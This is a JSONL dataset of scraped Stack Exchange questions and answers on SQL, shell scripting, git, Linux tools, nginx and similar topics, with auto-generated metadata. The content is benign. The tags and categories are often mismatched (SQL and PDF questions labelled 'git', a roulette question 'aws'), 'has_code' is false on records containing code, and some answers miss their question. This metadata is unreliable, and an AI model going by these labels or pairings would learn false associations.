{"id": "hf_eb89e0245220", "question": "<p>Why does the select statement below return two different values ?</p>\n\n<pre><code>declare @tempDec decimal\nset @tempDec = 1.0 / (1.0 + 1.0)\nselect @tempDec, 1.0 / (1.0 + 1.0)\n</code></pre>\n", "question_body": "", "answer": "I found out from a coworker just as I posted this.\nYou need to specify the default precision and scale.\nThis works in this scenario:\ndeclare @tempDec decimal(3,2)\nFrom MSDN:\ndecimal[ (p[ , s] )] and numeric[ (p[ , s] )] \nFixed precision and scale numbers. When maximum precision is used, valid values are from - 10^38 +1 through 10^38 - 1. The SQL-92 synonyms for decimal are dec and dec(p, s). numeric is functionally equivalent to decimal.\np (precision) \nThe maximum total number of decimal digits that can be stored, both to the left and to the right of the decimal point. The precision must be a value from 1 through the maximum precision of 38. The default precision is 18.\ns (scale) \nThe maximum number of decimal digits that can be stored to the right of the decimal point. Scale must be a value from 0 through p. Scale can be specified only if precision is specified. The default scale is 0; therefore, 0 <= s <= p. Maximum storage sizes vary, based on the precision.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.342731"}
{"id": "hf_36b811b5f4d7", "question": "<p>How do I output colored text to the terminal in Python?</p>\n", "question_body": "", "answer": "For Windows you cannot print to console with colors unless you're using the\nWin32\nAPI.\nFor Linux it's as simple as using print, with the escape sequences outlined here:\nColors\nFor the character to print like a box, it really depends on what font you are using for the console window. The pound symbol works well, but it depends on the font:\n```\n```\n#\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.470998"}
{"id": "hf_f218f09a3595", "question": "<p>I'm writing a simple program to browse the local network and pass on filenames to mplayer using \"system\". However, sometimes filenames contain spaces or quotes.\nObviously I could write my own function to escape those, but I'm not sure exactly what characters do or do not need escaping.</p>\n\n<p>Is there a function available in the CRT or somewhere in the linux headers to safely escape a string to pass to the command line ?</p>\n", "question_body": "", "answer": "While i don't know a function that does this, you can surround each of your arguments with\n```\n'...'\n```\n, and replace any\n```\n'\n```\nin the original argument by\n```\n'\"'\"'\n```\n. like\n```\nsystem(\"mplayer 'foo'\\\"'\\\"' bar'\");\n```\nwill give a single argument to mplayer which is\n```\nfoo\n```\n'\n```\nbar\n```\nand which is allowed to contain strange things like\n```\n\"\n```\nor\n```\n\\n\n```\n. Note the escaping before\n```\n\"\n```\nabove (\n```\n\\\"\n```\n) is only to make it valid C++.\nYou should consider using a function that accepts the arguments each separate, thus avoiding such issues. Wikipedia has a good article on this about the famous fork-and-exec pattern.\nhttp://en.wikipedia.org/wiki/Fork-exec", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.587957"}
{"id": "hf_3d08af66a8fa", "question": "<p>How to convert last 3 digits of number into 0</p>\n\n<p>example 3444678 to 3444000</p>\n\n<p>I can do like </p>\n\n<p>(int)(3444678/1000) * 1000= 3444000</p>\n\n<p>But division and multiplication could be costly...</p>\n\n<p>Any other solution????</p>\n", "question_body": "", "answer": "You could try\n```\n```\nn - (n % 1000)\n```\n```\nbut the modulus operator might be as costly as a division. In any case, this sounds an awful lot like a micro-optimization. Is this really your bottleneck?", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.824348"}
{"id": "hf_28cecfc4a5e7", "question": "<p>How do I execute a command every time after ssh'ing from one machine to another?</p>\n\n<p>e.g</p>\n\n<pre><code>ssh mymachine\nstty erase ^H\n</code></pre>\n\n<p>I'd rather just have \"stty erase ^H\" execute every time after my ssh connection completes.</p>\n\n<p>This command can't simply go into my .zshrc file.  i.e. for local sessions, I can't run the command (it screws up my keybindings).  But I need it run for my remote sessions.</p>\n", "question_body": "", "answer": "Assuming a linux target, put it in your\n```\n.profile\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.957682"}
{"id": "hf_cc32cfc29247", "question": "<p>We have an home-brewed XMPP server and I was asked what is our server's MSL (Maximum Segment Lifetime).<br>\nWhat does it mean and how can I obtain it? Is it something in the Linux <code>/proc</code> TCP settings?</p>\n", "question_body": "", "answer": "This looks like it can answer your question:\nhttp://seer.support.veritas.com/docs/264886.htm\nI suggest that you ask why someone asked you this and find out how that applies to XMPP.\nTCP/IP Illustrated volume 1 is online and describes 2MSL in more detail:\nHere\nMSL is also described in the TCP\nRFC 793\nas mentioned in\nwikipedia", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:08.064398"}
{"id": "hf_0d4f813a6d1d", "question": "<p>Does anyone have experience deploying GWT apps to EC2?</p>\n\n<p>If I were to install tomcat or apache on a ec2 instance, could I have users connect directly to a url pointing there?</p>\n\n<p>Would that be cost effective, or would java hosting services be best?</p>\n\n<p>Is there any downside to hosting the edge HTTP server on a regular hosting service and have that direct requests to EC2? Performance ever an issue here?</p>\n", "question_body": "", "answer": "Yes, you can host pretty much whatever you want, as you effectively have a dedicated Linux machine at your command.\nAs I last recall, the basic rate for an EC2 instance, on their \"low end box\" worked out to around $75/month, so you can use that as a benchmark against other vendors. That also assumed that the machine is up 24x7 (since you pay for it by the hour).\nThe major downside of an EC2 instance is simply that it can \"go away\" at any time, and when it does, any data written to your instance will \"go away\" as well.\nThat means you need to set it up so that you can readily restart the server, but also you need to offline any data that you generate and wish to keep (either to one of Amazons other services, like S3, or to some other external service). That will incur some extra costs depending on volume.\nFinally, you will also be billed for any traffic to the service.\nThe thing to compare it against is another \"Virtual Server\" from some other vendor. There is a lot of interesting things that can be done with EC2, but it may well be easier to go with a dedicated Virtual hosting service if you're just using a single machine.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:08.207799"}
{"id": "hf_0868ec89d901", "question": "<p>I need a javascript regex pattern to match a person's height to check if the input is valid. Here are some sample input:</p>\n\n<p>5' 9\"</p>\n\n<p>6'</p>\n\n<p>5'8\"</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Something like:\n```\n```\n\\d'(?:\\s*\\d+'')?\n```\n```\nThe second part refers to optional part of the heigth.\nRemove the + if you want only one digit.\n```\n```\n\\b\\d'(?:\\s*\\d+'')?\\b\n```\n```\ncan also be used to detect that pattern within a text (avoid detecting 1234'45 as an heigth for... a person?!)\nYou can test that regexp\nhere for javascript\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:08.347869"}
{"id": "hf_1502a9e88195", "question": "<p>Windows NLB works great and removes computer from the cluster when the computer is dead.</p>\n\n<p>But what happens if the application dies but the server still works fine? How have you solved this issue?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "By not using NLB.\nHardware load balancers often have configurable \"probe\" functions to determine if a server is responding to requests. This can be by accessing the real application port/URL, or some specific \"healthcheck\" URL that returns only if the application is healthy.\nOther options on these look at the queue/time taken to respond to requests\nCisco put it like this:\nThe Cisco CSM continually monitors server and application availability\n  using a variety of probes, in-band\n  health monitoring, return code\n  checking, and the Dynamic Feedback\n  Protocol (DFP). When a real server or\n  gateway failure occurs, the Cisco CSM\n  redirects traffic to a different\n  location. Servers are added and\n  removed without disrupting\n  service—systems easily are scaled up\n  or down.\n(from here:\nhttp://www.cisco.com/en/US/products/hw/modules/ps2706/products_data_sheet09186a00800887f3.html#wp1002630\n)", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:08.681062"}
{"id": "hf_dcf8ade6b679", "question": "<p>What is the recommended way to embed PDF in HTML?</p>\n\n<ul>\n<li>iFrame? </li>\n<li>Object? </li>\n<li>Embed?</li>\n</ul>\n\n<p>What does Adobe say itself about it?</p>\n\n<p>In my case, the PDF is generated on the fly, so it can't be uploaded to a third-party solution prior to flushing it.</p>\n", "question_body": "", "answer": "Probably the best approach is to use the\nPDF.JS\nlibrary. It's a pure\nHTML5\n/\nJavaScript\nrenderer for PDF documents without any third-party plugins.\nOnline demo:\nhttps://mozilla.github.io/pdf.js/web/viewer.html\nGitHub:\nhttps://github.com/mozilla/pdf.js", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:08.983169"}
{"id": "hf_edfcbc6d8554", "question": "<p>With Linux/GCC/C++, I'd like to record something to stderr whenever malloc/free/new/delete are called.  I'm trying to understand a library's memory allocations, and so I'd like to generate this output while I'm running unit tests.  I use valgrind for mem leak detection, but I can't find an option to make it just log allocations.  </p>\n\n<p>Any ideas?  I'm looking for the simplest possible solution.  Recompiling the library is not an option.  </p>\n", "question_body": "", "answer": "This article\n(scroll down to the bottom) provides a very clear and concise description of how to override the global\n```\nnew\n```\nand\n```\ndelete\n```\noperators in C++ (note that it doesn't provide an example for\n```\nnew[]\n```\n, but it's similar in concept).\nAs far as overriding malloc and free, since you're working on Linux and with GCC, the easiest method is to use\n```\nmalloc_hook\n```\nand\n```\nfree_hook\n```\n.\nHere\nis a very good description of how these functions work.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:09.206934"}
{"id": "hf_1c4d8c4162ef", "question": "<p>What are the differences between <a href=\"https://git-scm.com/docs/git-pull\" rel=\"noreferrer\"><code>git pull</code></a> and <a href=\"https://git-scm.com/docs/git-fetch\" rel=\"noreferrer\"><code>git fetch</code></a>?</p>\n", "question_body": "", "answer": "In the simplest terms,\n```\ngit pull\n```\ndoes a\n```\ngit fetch\n```\nfollowed by a\n```\ngit merge\n```\n.\n```\ngit fetch\n```\nupdates your remote-tracking branches under\n```\nrefs/remotes/<remote>/\n```\n. This operation is safe to run at any time since it never changes any of your local branches under\n```\nrefs/heads\n```\n.\n```\ngit pull\n```\nbrings a local branch up-to-date with its remote version, while also updating your other remote-tracking branches.\nFrom the Git documentation for\n```\ngit pull\n```\n:\nIn its default mode,\n```\ngit pull\n```\nis shorthand for\n```\ngit fetch\n```\nfollowed by\n```\ngit merge FETCH_HEAD\n```\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:09.367409"}
{"id": "hf_18d96a893fda", "question": "<p>How do I get a patch from a commit in order to send it to another developer? And how do I best avoid a merge conflict with this patch when merging our trees at a later date?</p>\n\n<p>If you know how please explain how to do this in your VCS of choice such as subversion, git, Mercurial, bzr or etc.</p>\n", "question_body": "", "answer": "In SVN you can simply make your changes then before commiting, pipe the output of the svn diff to a file as such\n```\n```\nsvn diff > mypatch.diff\n```\n```\nyou can then revert your changes and apply the patch at a later date using\n```\n```\npatch -p0 -i mypatch.diff\n```\n```\nAs always don't blindly apply patches to your code and always inspect them first.\nYou may also find that the patch will break your source code if the source files have changed significantly enough since the patch was taken.\nYou also can not guarantee that there will not be merge conflicts when you attempt to check in the code.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:09.626035"}
{"id": "hf_69d3d9cb3fe7", "question": "<p>Can somebody tell me how to use the <em><code>printWhenExpression</code></em> of JasperReports?</p>\n", "question_body": "", "answer": "Do you have an error relative to boolean ?\nBecause you need to use Boolean instead of the primitive type.\nSo:\n```\n```\n$F{mesure} != \"PH\"\n($F{userfd4}).equals(\"1\") ? true : false\n```\n```\nwould give\n```\ncannot cast from boolean to Boolean\n```\n.\n```\n```\n( $F{mesure}.startsWith(\"PH\") ? Boolean.TRUE:Boolean.FALSE ) \n($F{userfd4}).equals(\"1\") ? Boolean.TRUE : Boolean.FALSE\n```\n```\nwould be correct.\nSee also this\nexample\nUpdate Nov 2015 (7 years later)\nPetter Friberg\npoints out\nin the comments\n:\nIn\njasper report\n6.0 this is not need:\nYou can return either\n```\nboolean\n```\nor\n```\nBoolean\n```\na simple expression like\n```\n$F{fieldName}.equals(\"hello\")\n```\nwill work.\nYou can see a demo of that command in\n```\ndemo/samples/tableofcontents/reports/TocPart.jrxml\n```\n```\n```\n<reportElement style=\"Sans_Bold\" positionType=\"Float\" x=\"50\" y=\"0\" width=\"100\" height=\"15\" isRemoveLineWhenBlank=\"true\" uuid=\"db8b68c6-4430-4199-8967-3ab5c077cb56\">\n    <property name=\"local_mesure_unitx\" value=\"pixel\"/>\n    <property name=\"com.jaspersoft.studio.unit.x\" value=\"px\"/>\n    <printWhenExpression><![CDATA[$F{level} == 1]]></printWhenExpression>\n</reportElement>\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:09.880253"}
{"id": "hf_713ae83ac486", "question": "<p>Has anyone got the steps to compile darwin libraries on gcc for arm on ubuntu?</p>\n", "question_body": "", "answer": "There is a\nsite\nthat provides patches for and arm darwin kernel.\nDarwin on ARM develops and provides patches for the Apple Darwin-xnu kernel sources so that it can be cross-compiled to run on an ARM processor.\nThis ubuntu\nforum entry\nshows how to install the arm-linux-gcc cross compiler.\nPut the two together and you should get what you asked for.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.087816"}
{"id": "hf_5ddc4c3e5171", "question": "<p>I'm looking for a way to <strong>monitor certain Windows services</strong> (on Windows Server 2003) and <strong>restart if necessar</strong>y. The services are on different servers and include mainly SQL Server services (e.g. SQL Server Agent), but also some proprietary services.</p>\n\n<p>Email alerts sent out if a service has stopped would be very useful as well.</p>\n", "question_body": "", "answer": "They may be some dedicated tools out there, but I just want to point out the\nwmic\ntool.\n```\n```\nwmic /node:[hostname] service list\n```\n```\nis able to list the services of any computer\n```\n```\nWMIC SERVICE where caption='TELNET' CALL STARTSERVICE\n```\n```\nwould restart the telnet service.\nIf you encapsulate wmic in a script language (able to send email), you can have the monitoring tool you are looking for.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.226611"}
{"id": "hf_c7c567064036", "question": "<p>I am using ActiveState Perl 5.6 on a Windows 2003 Server, and am having some memory leak issues.  Are there any good tools (or even bad tools which would give a clue) which I would be able to use to help find them.</p>\n", "question_body": "", "answer": "All perl program memory leaks will either be an XS holding onto a reference, or a circular data structure.\nDevel::Cycle\nis a great tool for finding circular references, if you know what structures are likely to contain the loops.\nDevel::Peek\ncan be used to find objects with a higher-than-expected reference count.\nIf you don't know where else to look,\nDevel::LeakTrace::Fast\ncould be a good first place, but you'll need a perl built for debugging.\nIf you suspect the leak is inside XS-space, it's much harder, and\nValgrind\nwill probably be your best bet.\nTest::Valgrind\nmay help you lower the amount of code you need to search, but this won't work on Windows, so you'd have to port (at least the leaky portion) to Linux in order to do this.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.378892"}
{"id": "hf_fb5599b8c8d7", "question": "<p>I need to have a string, based on an integer, which should always have 5 digits.</p>\n\n<p>Example:</p>\n\n<pre><code>myInteger = 999\nformatedInteger = \"00999\"\n</code></pre>\n\n<p>What is the best way of doing this in classic ASP?</p>\n", "question_body": "", "answer": "Something like this is what I've seen most of the time:\n```\n```\nfunction PadNumber(number, width)\n   dim padded : padded = cStr(number)\n\n   while (len(padded) < width)\n       padded = \"0\" & padded\n   wend\n\n   PadNumber = padded\nend function\n\nPadNumber(999, 5) '00999\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.507103"}
{"id": "hf_3099d2a2ac90", "question": "<p>As a primarily Windows developer, perhaps I'm missing something cultural in the Linux community, but it has always confused me.</p>\n\n<p>When downloading something that the files are first put into a <code>.tar</code> archive then <em>zipped</em>. Why the two-step process? Doesn't <em>zipping</em> achieve the file grouping? Is there some other benefit that I'm not aware of?</p>\n", "question_body": "", "answer": "```\nbzip\n```\nand\n```\ngzip\n```\nwork on single files, not groups of files. Plain old\n```\nzip\n```\n(and\n```\npkzip\n```\n) operate on groups of files and have the concept of the archive built-in.\nThe *nix philosophy is one of the small tools that do specific jobs very well and can be chained together. That's why there are two tools here that have specific tasks, and they're designed to fit well together. It also means you can use tar to group files and then you have a choice of a compression tool (\n```\nbzip\n```\n,\n```\ngzip\n```\n, etc).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.688007"}
{"id": "hf_b9b7dc671013", "question": "<p>I am trying to write a bash script for testing that takes a parameter and sends it through curl to web site.  I need to url encode the value to make sure that special characters are processed properly.  What is the best way to do this?  </p>\n\n<p>Here is my basic script so far:</p>\n\n<pre><code>#!/bin/bash\nhost=${1:?'bad host'}\nvalue=$2\nshift\nshift\ncurl -v -d \"param=${value}\" http://${host}/somepath $@\n</code></pre>\n", "question_body": "", "answer": "If you don't want to depend on Perl you can also use sed. It's a bit messy, as each character has to be escaped individually. Make a file with the following contents and call it\n```\nurlencode.sed\n```\n```\n```\ns/%/%25/g\ns/ /%20/g\ns/ /%09/g\ns/!/%21/g\ns/\"/%22/g\ns/#/%23/g\ns/\\$/%24/g\ns/\\&/%26/g\ns/'\\''/%27/g\ns/(/%28/g\ns/)/%29/g\ns/\\*/%2a/g\ns/+/%2b/g\ns/,/%2c/g\ns/-/%2d/g\ns/\\./%2e/g\ns/\\//%2f/g\ns/:/%3a/g\ns/;/%3b/g\ns//%3e/g\ns/?/%3f/g\ns/@/%40/g\ns/\\[/%5b/g\ns/\\\\/%5c/g\ns/\\]/%5d/g\ns/\\^/%5e/g\ns/_/%5f/g\ns/`/%60/g\ns/{/%7b/g\ns/|/%7c/g\ns/}/%7d/g\ns/~/%7e/g\ns/      /%09/g\n```\n```\nTo use it do the following.\n```\n```\nSTR1=$(echo \"https://www.example.com/change&$ ^this to?%checkthe@-functionality\" | cut -d\\? -f1)\nSTR2=$(echo \"https://www.example.com/change&$ ^this to?%checkthe@-functionality\" | cut -d\\? -f2)\nOUT2=$(echo \"$STR2\" | sed -f urlencode.sed)\necho \"$STR1?$OUT2\"\n```\n```\nThis will split the string into a part that needs encoding, and the part that is fine, encode the part that needs it, then stitches back together.\nYou can put that into a sh script for convenience, maybe have it take a parameter to encode, put it on your path and then you can just call:\n```\n```\nurlencode https://www.exxample.com?isThisFun=HellNo\n```\n```\nsource", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:10.925899"}
{"id": "hf_07aba871f2be", "question": "<p>I'm using <code>git-svn</code> to work against my company's central Subversion repository. We've recently created a new feature branch in the central repo. </p>\n\n<p>How do I tell Git about it? When I run <code>git branch -r</code> I can only see the branches that existed when I ran <code>fetch</code> against the Subversion repo to initialize my Git repo?</p>\n", "question_body": "", "answer": "It appears I just needed to\n```\ngit svn fetch\n```\n; somehow I had convinced myself that would fetch the entire repo instead of just the changes.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:11.143725"}
{"id": "hf_9ab9d7b033e2", "question": "<p>I want to stress test a web service method by calling it several thousand times in quick succession. The method has a single string parameter that I will vary on each call.</p>\n\n<p>I'm planning on writing a Powershell script to loop and call this method a number of times.</p>\n\n<p>Is there a better way to do this?</p>\n", "question_body": "", "answer": "If you run call after call - it's not going to help you too much, as it will not show you how the service behaves under a heavy load of many simultaneous connections.\nGo with some multi-threaded solution (I do not know if powershell has this).\nSome opensource testing tools are listed\nhere\n. Just set your web service to accept GET requests as well, not only SOAP(default), so you can form the urls.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:11.262343"}
{"id": "hf_d16d8b3effbb", "question": "<p>I need a tool to measure a website's performance that's free and does not require any changes to be made to the code (jsp asp pages). All help is appreciated.</p>\n", "question_body": "", "answer": "For performance measurement I recommend you\nYSlow\n, it's a Firefox add-on integrated with\nFirebug\n, it analyzes your web pages and tells you why they're slow based on the\nrules for high performance web sites\n.\nScreenshot\nAlso with the Firebug Network Monitoring tab, you can see which resources are taking more time and bandwidth to download:\n(source:\ngetfirebug.com\n)", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:11.400287"}
{"id": "hf_50118e640f85", "question": "<p>Can anyone provide some pseudo code for a roulette selection function? How would I implement this: I don't really understand how to read this math notation.I want General algorithm to this.</p>\n", "question_body": "", "answer": "There are 2 steps to this: First create an array with all the values on the wheel. This can be a 2 dimensional array with colour as well as number, or you can choose to add 100 to red numbers.\nThen simply generate a random number between 0 or 1 (depending on whether your language starts numbering array indexes from 0 or 1) and the last element in your array.\nMost languages have built-in random number functions. In VB and\n```\nVBScript\n```\nthe function is\n```\nRND()\n```\n. In Javascript it is\n```\nMath.random()\n```\nFetch the value from that position in the array and you have your random roulette number.\nFinal note\n: don't forget to seed your random number generator or you will get the same sequence of draws every time you run the program.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:11.579879"}
{"id": "hf_3b76e460929b", "question": "<p>I have a rails app that uses heavily js (over 1MB total). I'd like to compress them in order to reduce the overall load time of the site.</p>\n\n<p>I did a fast search and found that most browsers accept compressed content.</p>\n\n<p>I'd like to know what can I do to make my rails app send compressed content and thus make the user experience better.</p>\n", "question_body": "", "answer": "You should always have the web server proxying to your mongrels handle the serving of static content and it's compression. Requests for static content should never be passed to the mongrels.\ne.g. with nginx it's simply a matter of adding gzip directives to your config file.\nhttp://topfunky.net/svn/shovel/nginx/conf/nginx.conf\n```\n# output compression saves bandwidth \n  gzip            on;\n  gzip_http_version 1.0;\n  gzip_comp_level 2;\n  gzip_proxied any;\n  gzip_types      text/plain text/html text/css application/x-javascript text/xml application/xml application/xml+rss text/javascript;\n```", "tags": ["nginx"], "source": "huggingface", "category": "nginx", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:11.738523"}
{"id": "hf_82df81761a40", "question": "<p>The <strong><code>fuser</code></strong> command lets me know which processes are using a file or directory.</p>\n\n<p>I'm looking for command that does the opposite:  lets me know which files are being used by a process.</p>\n\n<hr>\n\n<h2>Update</h2>\n\n<p>Forgot to mention that it's for a Solaris system.</p>\n", "question_body": "", "answer": "```\n```\nlsof -p <pid>\n```\n```\nFrom\nhere\nlsof stands for “\nLiSt Open Files\n”. This shell command seems deceptively simple: It lists information about files opened by processes on a UNIX box.\nDespite its (apparent) modest mission statement, lsof is actually one of the most powerful and useful UNIX commands. Its raw power comes from one of UNIX’s design principle often described as ”in UNIX everything is a file”. What this means is that the lsof concept of an open file not only covers regular files but also the following:\nDirectories\nStreams or network files (for example, Internet or UNIX domain sockets and NFS files)\nNative libraries (for example, .soor .dylibdynamic libraries linked to a process)\nBlock and character special files (for example, disk volume, external hard drive, console, or mouse)\nPipes\nWait, I Cannot Find lsof on My System!\nlsof is such a popular tool that it has been ported to pretty much all UNIX dialects (Linux, Mac OS X, BSD, Solaris, and so on). If it is unavailable on your box, use your usual package management system to install it. You can find lsof packages for Solaris on\nSun Freeware\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:12.140456"}
{"id": "hf_73b836a5fc1a", "question": "<p>How do you traverse a folder structure using C# without falling into the trap of <a href=\"http://en.wikipedia.org/wiki/NTFS_junction_point\" rel=\"nofollow noreferrer\">junction points</a>? </p>\n", "question_body": "", "answer": "For those that don't know: A junction point behaves similarly to a symbolic link for a folder on linux. The trap that is mentioned happens when you set up a recursive folder structure, like this:\n```\n```\ngiven folder /a/b\nlet /a/b/c point to /a\nthen\n/a/b/c/b/c/b becomes valid folder locations.\n```\n```\nI suggest a strategy like this one. On windows you are limited to a maximum length on the path string, so a recursive solution probably won't blow the stack.\n```\n```\nprivate void FindFilesRec(\n    string newRootFolder,\n    Predicate<FileInfo> fileMustBeProcessedP,\n    Action<FileInfo> processFile)\n{\n    var rootDir = new DirectoryInfo(newRootFolder);\n    foreach (var file in from f in rootDir.GetFiles()\n                         where fileMustBeProcessedP(f)\n                         select f)\n    {\n        processFile(file);\n    }\n\n    foreach (var dir in from d in rootDir.GetDirectories()\n                        where (d.Attributes & FileAttributes.ReparsePoint) != FileAttributes.ReparsePoint\n                        select d)\n    {\n        FindFilesRec(\n            dir.FullName,\n            fileMustBeProcessedP,\n            processFile);\n    }\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:12.281379"}
{"id": "hf_d30a34343280", "question": "<p>I have created a windows installer for a windows forms app as an MSI.\nI have published this and put it in a zip file and sent it to the client.\nWhen they try to run the installer they get the message \n'The publisher could not be verified. Are you sure you want to run this software?’</p>\n\n<p>Is there a setting or something i need to do to stop this message appearing when the client clicks on the installer?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "Is this a certificate issue? I haven't had to do this with msi (I usually use ClickOnce, which makes this very easy), but a quick search shows things like\nthis\nor on MSDN\nhere\n.\nNote that your certificate would have to be in the clients trust chain - i.e. indirectly from someone \"pucka\".", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:12.415519"}
